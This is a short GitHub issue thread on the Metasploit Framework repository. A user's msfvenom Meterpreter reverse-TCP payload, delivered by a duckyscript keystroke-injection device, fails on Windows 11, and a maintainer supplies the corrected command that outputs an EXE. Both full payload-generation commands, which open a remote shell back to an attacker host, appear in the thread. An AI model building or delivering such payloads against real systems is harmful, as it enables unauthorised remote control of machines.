rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.24k stars 14k forks source link

MSFVenom producing unsupported EXE file #18758

Closed ShadowFlareon closed 9 months ago

ShadowFlareon commented 9 months ago

I was testing out some duckyscript and had the latest version of windows 11 home. Then when the duckyscript installed the msfvenom payload I made with: msfvenom -p windows/meterpreter/reverse_tcp LHOST=(lhost) LPORT=87 -f raw -o meterpreter.exe. When it executed it said the exe file was unsupported. Why is this happening?

bcoles commented 9 months ago

You probably want to generate the payload in exe format:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(lhost) LPORT=87 -f exe -o meterpreter.exe
ShadowFlareon commented 9 months ago

ok thanks I tried it and it worked. IDK why the raw format didnt work I have been using it for a long time